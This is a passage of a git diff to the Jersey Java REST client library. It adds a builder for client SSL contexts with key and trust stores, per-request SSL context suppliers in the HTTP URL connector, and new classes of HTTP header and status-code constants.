+     * key store} or {@link #trustStore(java.security.KeyStore) trust store} values previously
+     * specified.
+     * </p>
+     *
+     * @param sslContext secure socket protocol implementation which acts as a factory
+     *                   for secure socket factories or {@link javax.net.ssl.SSLEngine
+     *                   SSL engines}. Must not be {@code null}.
+     * @return an updated ssl client context builder instance.
+     * @throws NullPointerException in case the {@code sslContext} parameter is {@code null}.
+     * @see #keyStore(java.security.KeyStore, char[])
+     * @see #keyStore(java.security.KeyStore, String)
+     * @see #trustStore
+     */
+    public SslContextClientBuilder sslContext(SSLContext sslContext) {
+        if (sslContext == null) {
+            throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT());
+        }
+        this.sslContext = sslContext;
+        sslConfigurator = null;
+        return this;
+    }
+
+    /**
+     * Set the client-side key store. Key store contains client's private keys, and the certificates with their
+     * corresponding public keys.
+     * <p>
+     * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance}
+     * value previously specified.
+     * </p>
+     * <p>
+     * Note that for improved security of working with password data and avoid storing passwords in Java string
+     * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized.
+     * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL
+     * connections (client certificate authentication).
+     * </p>
+     *
+     * @param keyStore client-side key store. Must not be {@code null}.
+     * @param password client key password. Must not be {@code null}.
+     * @return an updated ssl client context builder instance.
+     * @throws NullPointerException in case any of the supplied parameters is {@code null}.
+     * @see #sslContext
+     * @see #keyStore(java.security.KeyStore, char[])
+     * @see #trustStore
+     */
+    public SslContextClientBuilder keyStore(KeyStore keyStore, char[] password) {
+        if (keyStore == null) {
+            throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE());
+        }
+        if (password == null) {
+            throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD());
+        }
+        if (sslConfigurator == null) {
+            sslConfigurator = SslConfigurator.newInstance();
+        }
+        sslConfigurator.keyStore(keyStore);
+        sslConfigurator.keyPassword(password);
+        sslContext = null;
+        return this;
+    }
+
+    /**
+     * Set the client-side trust store. Trust store is expected to contain certificates from other parties
+     * the client is you expect to communicate with, or from Certificate Authorities that are trusted to
+     * identify other parties.
+     * <p>
+     * Setting a trust store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance}
+     * value previously specified.
+     * </p>
+     * <p>
+     * In case a custom trust store or custom SSL context is not specified, the trust management will be
+     * configured to use the default Java runtime settings.
+     * </p>
+     *
+     * @param trustStore client-side trust store. Must not be {@code null}.
+     * @return an updated ssl client context builder instance.
+     * @throws NullPointerException in case the supplied trust store parameter is {@code null}.
+     * @see #sslContext
+     * @see #keyStore(java.security.KeyStore, char[])
+     * @see #keyStore(java.security.KeyStore, String)
+     */
+    public SslContextClientBuilder trustStore(KeyStore trustStore) {
+        if (trustStore == null) {
+            throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE());
+        }
+        if (sslConfigurator == null) {
+            sslConfigurator = SslConfigurator.newInstance();
+        }
+        sslConfigurator.trustStore(trustStore);
+        sslContext = null;
+        return this;
+    }
+
+    /**
+     * Set the client-side key store. Key store contains client's private keys, and the certificates with their
+     * corresponding public keys.
+     * <p>
+     * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance}
+     * value previously specified.
+     * </p>
+     * <p>
+     * Note that for improved security of working with password data and avoid storing passwords in Java string
+     * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized.
+     * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL
+     * connections (client certificate authentication).
+     * </p>
+     *
+     * @param keyStore client-side key store. Must not be {@code null}.
+     * @param password client key password. Must not be {@code null}.
+     * @return an updated ssl client context builder instance.
+     * @throws NullPointerException in case any of the supplied parameters is {@code null}.
+     * @see #sslContext
+     * @see #keyStore(java.security.KeyStore, char[])
+     * @see #trustStore
+     */
+    public SslContextClientBuilder keyStore(final KeyStore keyStore, final String password) {
+        return keyStore(keyStore, password.toCharArray());
+    }
+
+    /**
+     * Get information about used {@link SSLContext}.
+     *
+     * @return {@code true} when used {@code SSLContext} is acquired from {@link SslConfigurator#getDefaultContext()},
+     * {@code false} otherwise.
+     */
+    public boolean isDefaultSslContext() {
+        return sslContext == null && sslConfigurator == null;
+    }
+
+    /**
+     * Supply SSLContext from this builder.
+     * @return {@link SSLContext}
+     */
+    @Override
+    public SSLContext get() {
+        return suppliedValue.get();
+    }
+
+    /**
+     * Build SSLContext from the Builder.
+     * @return {@link SSLContext}
+     */
+    public SSLContext build() {
+        return suppliedValue.get();
+    }
+
+    /**
+     * Set the default SSL context provider.
+     * @param defaultSslContextProvider the default SSL context provider.
+     * @return an updated ssl client context builder instance.
+     */
+    protected SslContextClientBuilder defaultSslContextProvider(DefaultSslContextProvider defaultSslContextProvider) {
+        this.defaultSslContextProvider = defaultSslContextProvider;
+        return this;
+    }
+
+    /**
+     * Supply the {@link SSLContext} to the supplier. Can throw illegal state exception when there is a problem with creating or
+     * obtaining default SSL context.
+     * @return SSLContext
+     */
+    private SSLContext supply() {
+        final SSLContext providedValue;
+        if (sslContext != null) {
+            providedValue = sslContext;
+        } else if (sslConfigurator != null) {
+            final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy();
+            providedValue = sslConfiguratorCopy.createSSLContext();
+        } else {
+            providedValue = null;
+        }
+
+        final SSLContext returnValue;
+        if (providedValue == null) {
+            if (defaultSslContextProvider != null) {
+                returnValue = defaultSslContextProvider.getDefaultSslContext();
+            } else {
+                final DefaultSslContextProvider lookedUpSslContextProvider;
+
+                final Iterator<DefaultSslContextProvider> iterator =
+                        ServiceFinder.find(DefaultSslContextProvider.class).iterator();
+
+                if (iterator.hasNext()) {
+                    lookedUpSslContextProvider = iterator.next();
+                } else {
+                    lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER;
+                }
+
+                returnValue = lookedUpSslContextProvider.getDefaultSslContext();
+            }
+        } else {
+            returnValue = providedValue;
+        }
+
+        return returnValue;
+    }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java
index 022cbc6..98e47bb 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,7 @@
  *
  * @since 2.33
  */
-interface ConnectorExtension<T, E extends Exception> {
+public interface ConnectorExtension<T, E extends Exception> {
 
     /**
      * Main function which allows extension of connector's functionality
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java
index 2fdb7e9..f5a3409 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java
@@ -39,12 +39,14 @@
 import java.util.Set;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.Future;
+import java.util.function.Supplier;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import java.util.stream.Collectors;
 
 import javax.net.ssl.HostnameVerifier;
 import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLContext;
 import javax.net.ssl.SSLSocket;
 import javax.net.ssl.SSLSocketFactory;
 import jakarta.ws.rs.ProcessingException;
@@ -111,7 +113,7 @@
     private final boolean fixLengthStreaming;
     private final boolean setMethodWorkaround;
     private final boolean isRestrictedHeaderPropertySet;
-    private final LazyValue<SSLSocketFactory> sslSocketFactory;
+    private LazyValue<SSLSocketFactory> sslSocketFactory;
 
     private final ConnectorExtension<HttpURLConnection, IOException> connectorExtension
             = new HttpUrlExpect100ContinueConnectorExtension();
@@ -135,13 +137,6 @@
             final boolean fixLengthStreaming,
             final boolean setMethodWorkaround) {
 
-        sslSocketFactory = Values.lazy(new Value<SSLSocketFactory>() {
-            @Override
-            public SSLSocketFactory get() {
-                return client.getSslContext().getSocketFactory();
-            }
-        });
-
         this.connectionFactory = connectionFactory;
         this.chunkSize = chunkSize;
         this.fixLengthStreaming = fixLengthStreaming;
@@ -316,7 +311,7 @@
             if (DEFAULT_SSL_SOCKET_FACTORY.get() == suc.getSSLSocketFactory()) {
                 // indicates that the custom socket factory was not set
                 suc.setSSLSocketFactory(sslSocketFactory.get());
-            }
+                }
         }
     }
 
@@ -331,6 +326,7 @@
      */
     private void secureConnection(
             final ClientRequest clientRequest, final HttpURLConnection uc, final SSLParamConfigurator sniConfig) {
+        setSslContextFactory(clientRequest.getClient(), clientRequest);
         secureConnection(clientRequest.getClient(), uc); // keep this for compatibility
 
         if (sniConfig.isSNIRequired() && uc instanceof HttpsURLConnection) { // set SNI
@@ -341,6 +337,18 @@
         }
     }
 
+    private void setSslContextFactory(Client client, ClientRequest request) {
+        final Supplier<SSLContext> supplier = request.resolveProperty(ClientProperties.SSL_CONTEXT_SUPPLIER, Supplier.class);
+
+        sslSocketFactory = Values.lazy(new Value<SSLSocketFactory>() {
+            @Override
+            public SSLSocketFactory get() {
+                final SSLContext ctx = supplier == null ? client.getSslContext() : supplier.get();
+                return ctx.getSocketFactory();
+            }
+        });
+    }
+
     private ClientResponse _apply(final ClientRequest request) throws IOException {
         final HttpURLConnection uc;
         final Optional<ClientProxy> proxy = ClientProxy.proxyFromRequest(request);
@@ -397,7 +405,7 @@
                     }
                 }
 
-                processExtentions(request, uc);
+                processExtensions(request, uc);
 
                 request.setStreamProvider(contentLength -> {
                     setOutboundHeaders(request.getStringHeaders(), uc);
@@ -571,7 +579,7 @@
         }
     }
 
-    private void processExtentions(ClientRequest request, HttpURLConnection uc) {
+    private void processExtensions(ClientRequest request, HttpURLConnection uc) {
         connectorExtension.invoke(request, uc);
     }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java
index 1bf2647..b3befea 100644
--- a/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2007, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2007, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,10 +17,11 @@
 package org.glassfish.jersey;
 
 import java.io.ByteArrayInputStream;
-import java.io.FileInputStream;
+import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStream;
+import java.nio.file.Files;
 import java.security.AccessController;
 import java.security.KeyManagementException;
 import java.security.KeyStore;
@@ -635,7 +636,7 @@
                     if (keyStoreBytes != null) {
                         keyStoreInputStream = new ByteArrayInputStream(keyStoreBytes);
                     } else if (!keyStoreFile.equals("NONE")) {
-                        keyStoreInputStream = new FileInputStream(keyStoreFile);
+                        keyStoreInputStream = Files.newInputStream(new File(keyStoreFile).toPath());
                     }
                     _keyStore.load(keyStoreInputStream, keyStorePass);
                 } finally {
@@ -710,7 +711,7 @@
                     if (trustStoreBytes != null) {
                         trustStoreInputStream = new ByteArrayInputStream(trustStoreBytes);
                     } else if (!trustStoreFile.equals("NONE")) {
-                        trustStoreInputStream = new FileInputStream(trustStoreFile);
+                        trustStoreInputStream = Files.newInputStream(new File(trustStoreFile).toPath());
                     }
                     _trustStore.load(trustStoreInputStream, trustStorePass);
                 } finally {
diff --git a/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java b/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java
new file mode 100644
index 0000000..e4de92c
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.http;
+
+/**
+ * Additional HTTP headers that are not listed in Jakarta REST {@link jakarta.ws.rs.core.HttpHeaders}.
+ */
+public interface HttpHeaders extends jakarta.ws.rs.core.HttpHeaders {
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-accept-ranges">HTTP Semantics documentation</a>}
+     */
+    public static final String ACCEPT_RANGES = "Accept-Ranges";
+
+    /**
+     * See {@link <a href="https://www.ietf.org/rfc/rfc5789.txt">PATCH Method for HTTP</a>}
+     */
+    public static final String ACCEPT_PATCH = "Accept-Patch";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9111#field.age">HTTP Caching</a>}
+     */
+    public static final String AGE = "Age";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-connection">HTTP Semantics documentation</a>}
+     */
+    public static final String CONNECTION = "Connection";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-content-range">HTTP Semantics documentation</a>}
+     */
+    public static final String CONTENT_RANGE = "Content-Range";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-expect">HTTP Semantics documentation</a>}
+     */
+    public static final String EXPECT = "Expect";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc7239.html">Forwarded HTTP Extension</a>}
+     */
+    public static final String FORWARDED = "Forwarded";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-from">HTTP Semantics documentation</a>}
+     */
+    public static final String FROM = "From";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-if-range">HTTP Semantics documentation</a>}
+     */
+    public static final String IF_RANGE = "If-Range";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-max-forwards">HTTP Semantics documentation</a>}
+     */
+    public static final String MAX_FORWARDS = "Max-Forwards";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc2045.txt">(MIME) Part One: Format of Internet Message Bodies</a>}
+     */
+    public static final String MIME_VERSION = "Mime-Version";
+
+    /**
+     * See {@link <a href="https://datatracker.ietf.org/doc/html/rfc8288">Web Linking</a>}
+     */
+    public static final String LINK = "Link";
+
+    /**
+     * See {@link <a href="https://datatracker.ietf.org/doc/html/rfc6454">The Web Origin Concept</a>}
+     */
+    public static final String ORIGIN = "Origin";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-proxy-authenticate">HTTP Semantics documentation</a>}
+     */
+    public static final String PROXY_AUTHENTICATE = "Proxy-Authenticate";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-proxy-authorization">HTTP Semantics documentation</a>}
+     */
+    public static final String PROXY_AUTHORIZATION = "Proxy-Authorization";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-proxy-authentication-info">HTTP Semantics documentation</a>}
+     */
+    public static final String PROXY_AUTHENTICATION_INFO = "Proxy-Authentication-Info";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9112.html#name-keep-alive-connections">HTTP/1.1 documentation</a>}
+     */
+    public static final String PROXY_CONNECTION = "Proxy-Connection";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-range">HTTP Semantics documentation</a>}
+     */
+    public static final String RANGE = "Range";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-referer">HTTP Semantics documentation</a>}
+     */
+    public static final String REFERER = "Referer";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-server">HTTP Semantics documentation</a>}
+     */
+    public static final String SERVER = "Server";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-te">HTTP Semantics documentation</a>}
+     */
+    public static final String TE = "TE";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-trailer">HTTP Semantics documentation</a>}
+     */
+    public static final String TRAILER = "Trailer";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9112#name-transfer-encoding">HTTP Semantics documentation</a>}
+     */
+    public static final String TRANSFER_ENCODING = "Transfer-Encoding";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-upgrade">HTTP Semantics documentation</a>}
+     */
+    public static final String UPGRADE = "Upgrade";
+
+    /**
+     * See {@link <a href="https://www.rfc-editor.org/rfc/rfc9110#name-via">HTTP Semantics documentation</a>}
+     */
+    public static final String VIA = "Via";
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java b/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java
new file mode 100644
index 0000000..a86e767
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java
@@ -0,0 +1,405 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.http;
+
+import jakarta.ws.rs.core.Response;
+
+/**
+ * This is a list of Hypertext Transfer Protocol (HTTP) response status codes.
+ * The Internet Assigned Numbers Authority (IANA) maintains the official registry of HTTP status codes.
+ * See <a href="https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">Hypertext Transfer Protocol (HTTP) Status Code Registry</a>.
+ */
+public final class ResponseStatus {
+
+    /**
+     * 1xx informational status codes - request received, continuing process
+     */
+    public static class Info1xx {
+        /**
+         * 100 Continue.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-informational-1xx">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType CONTINUE_100 = new ResponseStatusImpl(100, "Continue");
+        /**
+         * 101 Switching Protocols.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-101-switching-protocols">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType SWITCHING_PROTOCOLS_101 = new ResponseStatusImpl(101, "Switching Protocols");
+        /**
+         * 102 Processing.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc2518#section-10.1">HTTP Extensions for Distributed Authoring -- WEBDAV</a>.
+         */
+        public static final Response.StatusType PROCESSING_102 = new ResponseStatusImpl(102, "Processing");
+        /**
+         * 103 Early Hints.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc2518#section-10.2">An HTTP Status Code for Indicating Hints</a>.
+         */
+        public static final Response.StatusType EARLY_HINTS_103 = new ResponseStatusImpl(103, "Early Hints");
+    }
+
+    /**
+     * 2xx success status codes - the action was successfully received, understood, and accepted.
+     */
+    public static class Success2xx {
+        /**
+         * 200 OK.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-200-ok">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType OK_200 = new ResponseStatusImpl(200, "OK");
+        /**
+         * 201 Created.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-201-created">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType CREATED_201 = new ResponseStatusImpl(201, "Created");
+        /**
+         * 202 Accepted.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-202-accepted">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType ACCEPTED_202 = new ResponseStatusImpl(202, "Accepted");
+        /**
+         * 203 Non-Authoritative Information.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-203-non-authoritative-infor">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType NON_AUTHORITATIVE_INFORMATION_203
+                = new ResponseStatusImpl(203, "Non-Authoritative Information");
+        /**
+         * 204 No Content.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-204-no-content">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType NO_CONTENT_204 = new ResponseStatusImpl(204, "No Content");
+        /**
+         * 205 Reset Content.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-205-reset-content">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType RESET_CONTENT_205 = new ResponseStatusImpl(205, "Reset Content");
+        /**
+         * 206 Partial Content.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-206-partial-content">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType PARTIAL_CONTENT_206 = new ResponseStatusImpl(206, "Partial Content");
+        /**
+         * 207 Multi-Status.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc4918#section-10.7">HTTP Extensions for Web Distributed Authoring and Versioning  = new ResponseStatusImpl(WebDAV)</a>
+         */
+        public static final Response.StatusType MULTI_STATUS_207 = new ResponseStatusImpl(207, "Multi-Status");
+        /**
+         * 208 Already Reported.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc5842#section-7.1">Binding Extensions to Web Distributed Authoring and Versioning  = new ResponseStatusImpl(WebDAV)</a>
+         */
+        public static final Response.StatusType ALREADY_REPORTED_208 = new ResponseStatusImpl(208, "Already Reported");
+        /**
+         * 226 IM used.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc3229#section-10.4.1">Delta encoding in HTTP</a>
+         */
+        public static final Response.StatusType IM_USED_226 = new ResponseStatusImpl(226, "IM used");
+    }
+
+    /**
+     * 3xx redirection status codes - further action must be taken in order to complete the request.
+     */
+    public static class Redirect3xx {
+        /**
+         * 300 Multiple Choices.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-300-multiple-choices">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType MULTIPLE_CHOICES_300 = new ResponseStatusImpl(300, "Multiple Choices");
+        /**
+         * 301 Moved Permanently.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-301-moved-permanently">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType MOVED_PERMANENTLY_301 = new ResponseStatusImpl(301, "Moved Permanently");
+        /**
+         * 302 Found.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-302-found">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType FOUND_302 = new ResponseStatusImpl(302, "Found");
+        /**
+         * 303 See Other.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-303-see-other">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType SEE_OTHER_303 = new ResponseStatusImpl(303, "See Other");
+        /**
+         * 304 Not Modified.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-304-not-modified">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType NOT_MODIFIED_304 = new ResponseStatusImpl(304, "Not Modified");
+        /**
+         * 305 Use Proxy.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-305-use-proxy">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType USE_PROXY_305 = new ResponseStatusImpl(305, "Use Proxy");
+        /**
+         * 307 Temporary Redirect.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-307-temporary-redirect">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType TEMPORARY_REDIRECT_307 = new ResponseStatusImpl(307, "Temporary Redirect");
+        /**
+         * 308 Permanent Redirect.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-308-permanent-redirect">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType PERMANENT_REDIRECT_308 = new ResponseStatusImpl(308, "Permanent Redirect");
+    }
+
+    /**
+     * 4xx client error status codes - the request contains bad syntax or cannot be fulfilled.
+     */
+    public static class ClientError4xx {
+        /**
+         * 400 Bad Request.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-400-bad-request">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType BAD_REQUEST_400 = new ResponseStatusImpl(400, "Bad Request");
+        /**
+         * 401 Unauthorized.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-401-unauthorized">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType UNAUTHORIZED_401 = new ResponseStatusImpl(401, "Unauthorized");
+        /**
+         * 402 Payment Required.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-402-payment-required">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType PAYMENT_REQUIRED_402 = new ResponseStatusImpl(402, "Payment Required");
+        /**
+         * 403 Forbidden.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-403-forbidden">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType FORBIDDEN_403 = new ResponseStatusImpl(403, "Forbidden");
+        /**
+         * 404 Not Found.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-404-not-found">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType NOT_FOUND_404 = new ResponseStatusImpl(404, "Not Found");
+        /**
+         * 405 Method Not Allowed.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-405-method-not-allowed">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType METHOD_NOT_ALLOWED_405 = new ResponseStatusImpl(405, "Method Not Allowed");
+        /**
+         * 406 Not Acceptable.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-406-not-acceptable">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType NOT_ACCEPTABLE_406 = new ResponseStatusImpl(406, "Not Acceptable");
+        /**
+         * 407 Proxy Authentication Required.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-407-proxy-authentication-re">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType PROXY_AUTHENTICATION_REQUIRED_407
+                = new ResponseStatusImpl(407, "Proxy Authentication Required");
+        /**
+         * 408 Request Timeout.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-408-request-timeout">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType REQUEST_TIMEOUT_408 = new ResponseStatusImpl(408, "Request Timeout");
+        /**
+         * 409 Conflict.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-409-conflict">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType CONFLICT_409 = new ResponseStatusImpl(409, "Conflict");
+        /**
+         * 410 Gone.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-410-gone">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType GONE_410 = new ResponseStatusImpl(410, "Gone");
+        /**
+         * 411 Length Required.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-411-length-required">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType LENGTH_REQUIRED_411 = new ResponseStatusImpl(411, "Length Required");
+        /**
+         * 412 Precondition Failed.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-412-precondition-failed">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType PRECONDITION_FAILED_412 = new ResponseStatusImpl(412, "Precondition Failed");
+        /**
+         * 413 Request Entity Too Large.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-413-content-too-large">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType REQUEST_ENTITY_TOO_LARGE_413
+                = new ResponseStatusImpl(413, "Request Entity Too Large");
+        /**
+         * 414 Request-URI Too Long.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-414-uri-too-long">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType REQUEST_URI_TOO_LONG_414 = new ResponseStatusImpl(414, "Request-URI Too Long");
+        /**
+         * 415 Unsupported Media Type.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-415-unsupported-media-type">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType UNSUPPORTED_MEDIA_TYPE_415
+                = new ResponseStatusImpl(415, "Unsupported Media Type");
+        /**
+         * 416 Requested Range Not Satisfiable.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-416-range-not-satisfiable">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType REQUESTED_RANGE_NOT_SATISFIABLE_416
+                = new ResponseStatusImpl(416, "Requested Range Not Satisfiable");
+        /**
+         * 417 Expectation Failed.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-417-expectation-failed">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType EXPECTATION_FAILED_417 = new ResponseStatusImpl(417, "Expectation Failed");
+        /**
+         * 418 I'm a teapot.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-418-unused">HTTP Semantics</a>
+         * and <a href="https://www.rfc-editor.org/rfc/rfc7168#page-5">Hyper Text Coffee Pot Control Protocol</a>
+         */
+        public static final Response.StatusType I_AM_A_TEAPOT_418 = new ResponseStatusImpl(418, "I'm a teapot");
+        /**
+         * 421 Misdirected Request.
